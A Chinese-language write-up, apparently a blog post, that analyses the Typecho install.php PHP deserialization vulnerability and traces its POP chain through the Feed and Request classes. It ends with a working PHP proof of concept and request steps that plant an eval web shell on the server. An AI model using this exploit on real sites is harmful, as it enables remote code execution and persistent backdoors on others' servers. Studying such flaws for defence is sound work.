Typecho install.php 分析
0x01
Install.php后门分析
漏洞代码出现在install.php中
从上面可以看出
config
变量,可以通过Cookie中的__typecho_config
变量经过base64解码再反序列化得到.之后再进入Typecho_Db
类中.反序列化攻击实现的条件:
- 存在可控的反序列化输入
- 存在可以利用的POP链(可被利用的方法)
在进入Typecho_Db
类之前,如果要设置config
变量,需要绕过一定的限制.
这里可以看到需要在GET中设置
finish
变量并且需要设置同源的Referer
.接着看到
Typecho_Db
类.daapterName
是传递进来的变量,其中在120行可以看到有一个字符串拼接的操作,根据POP链的可利用范围,自然想到去寻找__toString
函数.
__toString函数
如果对象在被当作字符串处理是就会调用该方法
全局搜索__toString
函数,发现有三处.
其中
Config
和Query
中的__toString
没有可利用的方式,接着看到Feed.php
中的__toString
函数.这里可以看到有两处操作是$item['author']->screenName
,如果这个$item['author']
是一个对象的话,并且screenName
是一个私有属性,那么当访问这个属性的时候就可以调用对象中的__get
方法.
这里的item
可以被控制.
接着在Request.php
中寻找到了__get
方法.
继续跟到
get
方法.最后发现会进入到
_applyFilter
方法中,跟到该方法.由于
filter
和value
都是可控的,这里的call_user_func
可以执行任意代码.
0x02
漏洞复现
首先需要构造__typecho_config
变量.需要Typecho_Feed
和Typecho_Request
两个类.
构造__typecho_config
的poc:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28<?php
class Typecho_Feed
{
private $_type;
private $_charset;
private $_lang;
private $_items = array();
public function __construct($type, $item)
{
$this->_type = $type;
$this->_items[] = array('author' => $item);
}
}
class Typecho_Request
{
private $_params = array('screenName'=>'fputs(fopen(\'./usr/themes/default/img/s.php\',\'w\'),\'<?php @eval($_POST[cmd]);?>\')');
private $_filter = array('assert');
}
$payload1 = new Typecho_Request();
$payload2 = new Typecho_Feed('ATOM 1.0', $payload1); //或者RSS 2.0
$exp['adapter'] = $payload2;
$exp['prefix'] = 'idlefire';
echo base64_encode(serialize($exp));
这里将Typecho_Feed
和Typecho_Request
分别实例化,再把Typecho_Request
实例化的对象作为item
数组变量中的author
.之后将Typecho_Feed
实例化的对象作为config
数组变量中的adapter
.
Payload:1
2
3GET:http://localhost:4399/typecho?finish=1
Cookie中添加__typecho_config
添加Referer
0x03
One’storm
面对反序列化漏洞的时候,需要仔细的寻找的可以利用的方法,从而形成完整的攻击.
注:这个是没有回显的payload,如果需要回显的话,可以找个可控点造成错误,从而使缓冲区的东西输出
(ง •_•)ง